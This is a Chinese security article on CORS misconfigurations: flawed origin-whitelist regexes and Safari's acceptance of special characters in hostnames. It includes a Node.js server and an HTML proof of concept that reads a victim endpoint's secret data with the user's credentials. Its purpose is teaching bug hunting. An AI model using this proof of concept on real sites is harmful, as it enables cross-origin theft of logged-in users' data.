CORS是一個W3C標準,全稱是"跨域資源共享"(Cross-originresource sharing)。 出于安全原因,瀏覽器限制從腳本中發(fā)起的跨域HTTP請求。默認的安全限制為同源策略,即JAVAScript或Cookie只能訪問同域下的內(nèi)容。
瀏覽器的同源策略規(guī)定:不同域的客戶端腳本在沒有明確授權(quán)的情況下,不能讀寫對方的資源。那么何為同源呢,即兩個站點需要滿足同協(xié)議,同域名,同端口這三個條件。
SOP是一個很好的策略,但是隨著Web應(yīng)用的發(fā)展,網(wǎng)站由于自身業(yè)務(wù)的需求,需要實現(xiàn)一些跨域的功能,能夠讓不同域的頁面之間能夠相互訪問各自頁面的內(nèi)容。
CORS,跨域資源共享(Cross-origin resource sharing),是H5提供的一種機制,WEB應(yīng)用程序可以通過在HTTP增加字段來告訴瀏覽器,哪些不同來源的服務(wù)器是有權(quán)訪問本站資源的,當不同域的請求發(fā)生時,就出現(xiàn)了跨域的現(xiàn)象。
背景:DNS&瀏覽器:
簡單來說DNS本質(zhì)上就是服務(wù)器的地址簿。它將主機名轉(zhuǎn)換/映射到IP地址,使互聯(lián)網(wǎng)更易于使用。
當你嘗試訪問瀏覽器中的URL時:
連接服務(wù)器?服務(wù)器使用SYN+ACK進行響應(yīng)?瀏覽器向服務(wù)器發(fā)送HTTP請求以檢索內(nèi)容?呈現(xiàn)/顯示內(nèi)容。
DNS服務(wù)器響應(yīng)任意請求 – 你可以發(fā)送子域中的任何字符,只要該域具有通配符DNS記錄,它就會響應(yīng)。
例如
dig A "<@$&(#+_`^%~>.withgoogle.com" @1.1.1.1 | grep -A 1 "ANSWER SECTION"
瀏覽器?
現(xiàn)在我們知道DNS服務(wù)器會響應(yīng)這些請求,那么瀏覽器又是如何處理它們的呢?
大多數(shù)瀏覽器在發(fā)送任意請求之前都會驗證域名。
例如
Chrome:
Firefox:
Safari:
注意!是大多數(shù)而不是所有瀏覽器。Safari就不同,如果我們嘗試加載相同的域,它實際上會發(fā)送請求并加載頁面:
我們可以使用各種字符,甚至是不可打印字符:
,&'";!$^*()+=`~-_=|{}% // non printable chars %01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
CORS配置
設(shè)置瀏覽器允許訪問的服務(wù)器的頭信息的白名單。可以使用正則表達式來完成。
示例#1:
^https?://(.*.)?xxe.sh$
即允許從xxe.sh和任意子域 (http:// 或 https://)進行跨域訪問。
這也意味著攻擊者想要從該端點竊取數(shù)據(jù),唯一的可能性就是接管http(s)://xxe.sh / http(s)://*.xxe.sh的子域或其本身存在XSS漏洞。
示例#2:
^https?://.*.?xxe.sh$
與示例1相同 – 即允許從xxe.sh和任意子域進行跨域訪問。
這個正則表達式與示例1非常相似,但其極易被攻擊者利用并竊取數(shù)據(jù)。
而問題的根本就出在.*.?
分解:
.* = 單個字符匹配任意詞,即貪婪匹配。 . = 匹配點字符 ? = 匹配前面的子表達式零次或一次
由于.*.不在一個組中,量詞?只會對.字符有作用。因此在字符串"xxe.sh"之前可以放入任意字符,無論前面這些字符是否用句點符號進行分隔。
這意味著攻擊者可以發(fā)送以xxe.sh結(jié)尾的任意地址,并且可以跨域訪問。
這是一種非常常見的bypass技術(shù) – 這里有一個真實的例子:
https://hackerone.com/reports/168574
示例#3:
^https?://(.*.)?xxe.sh:?.*
這可能是為了允許從xxe.sh、所有子域以及這些域上的任何端口進行跨域訪問。
你能發(fā)現(xiàn)問題嗎?
分解:
: = 匹配冒號,即“:” ? = 匹配次數(shù),就本例來說表示匹配冒號“:”零次或一次。 .* = 單個字符匹配
任意次,即貪婪匹配。
就像示例2一樣,量詞?只會對:字符有作用。因此,如果我們發(fā)送的域名在xxe.sh之后還有其他字符的話,仍然會被接受。
價值百萬美元的問題:
在利用CORS Misconfigurations時,Safari如何處理特殊字符?
以下面的Apache配置為例:
SetEnvIf Origin "^https?://(.*.)?xxe.sh([^.-a-zA-Z0-9]+.*)?"
AccessControlAllowOrigin=$0 Header set Access-Control-Allow-Origin %
{AccessControlAllowOrigin}e env=AccessControlAllowOrigin
實現(xiàn)從xxe.sh,所有子域以及這些域上的任何端口進行跨域訪問。
下面是正則表達式的分解:
[^.-a-zA-Z0-9] = 不匹配這些字符:"." "-" "a-z" "A-Z" "0-9" + = 匹配次數(shù):匹配上面的
字符一次或無數(shù)次 .* = 除行終止符之外的任意字符
這個API無法訪問前面例子中的域,并且其他常見的繞過方法也無濟于事。針對*.xxe.sh的子域接管或XSS攻擊,只能用來竊取數(shù)據(jù),但是,我們可以在此基礎(chǔ)上發(fā)揮創(chuàng)造性!
我們知道,任何諸如*.xxe.sh后跟字符. – a-z A-Z 0-9的域名都是不會被信任的,但是,在字符串"xxe.sh"之后有空格的域名的情況又如何呢?
我們看到它是被信任的,但是任何普通瀏覽器都不支持這樣的域。
由于正則表達式匹配字母數(shù)字ASCII字符以及. -,所以,"xxe.sh"之后的特殊字符是被信任的:
這種域名在現(xiàn)代通用瀏覽器Safari中被支持。
利用
先決條件:
具有泛解析記錄的域指向您的機器。
NodeJS
和大多數(shù)瀏覽器一樣,Apache和Nginx也不喜歡這些特殊字符,所以使用NodeJS為html和JavaScript提供服務(wù)更容易。
[+] serve.js
var http = require('http'); var url = require('url'); var fs = require('fs');
var port = 80 http.createServer(function(req, res) { if (req.url == '/cors-
poc') { fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'}); res.write(data);
res.end(); }); } else { res.writeHead(200,
{'Content-Type':'text/html'}); res.write('never gonna give you up...');
res.end(); } }).listen(port, '0.0.0.0'); console.log(`Serving on
port ${port}`);
在同一個目錄中,保存以下內(nèi)容:
[+] cors.html
<!DOCTYPE html> <html> <head><title>CORS</title></head> <body onload="cors();">
<center> cors proof-of-concept:<br><br> <textarea rows="10" cols="60" id="pwnz">
</textarea><br> </div> <script> function cors() { var xhttp = new
XMLHttpRequest(); xhttp.onreadystatechange = function() { if
(this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText; } };
xhttp.open("GET", "http://x.xxe.sh/api/secret-data/", true);
xhttp.withCredentials = true; xhttp.send(); } </script>
通過運行以下命令來啟動NodeJS服務(wù)器:
node serve.js &
正如之前所述,由于正則表達式與字母數(shù)字ASCII字符和. -相匹配,所以,"xxe.sh"之后的特殊字符將獲得信任:
因此,如果我們打開Safari并訪問http://x.xxe.sh{./cors-poc,就能夠成功地從易受攻擊的端點中竊取數(shù)據(jù)。
此外,我還注意到,字符_(在子域中)不僅在Safari中受支持,而且Chrome和Firefox也支持該字符!
實際測試
考慮到這些特殊字符,找出Access-Control-Allow-Origin頭文件中反映了哪些域可能是一項冗長而費時的任務(wù):
TheftFuzzer介紹:
為了節(jié)省時間并提高效率,我決定編寫一個工具對相應(yīng)的CORS配置進行模糊測試,以獲取允許的域名。該工具是用Python編寫的,大家可以在Github上下載到這個工具,如果你對該工具有任何改進意見,請隨時在Github上向我提出!
結(jié)語
我希望這篇文章能為大家提供/帶來一些好的靈感和思路。也希望大家能活學活用,把學到的這些知識點運用到實際的研究測試中。最后,祝愿大家漏洞越挖越多。
探討滲透測試及黑客技術(shù),請關(guān)注并私信我。#小白入行網(wǎng)絡(luò)安全# #安界網(wǎng)人才培養(yǎng)計劃#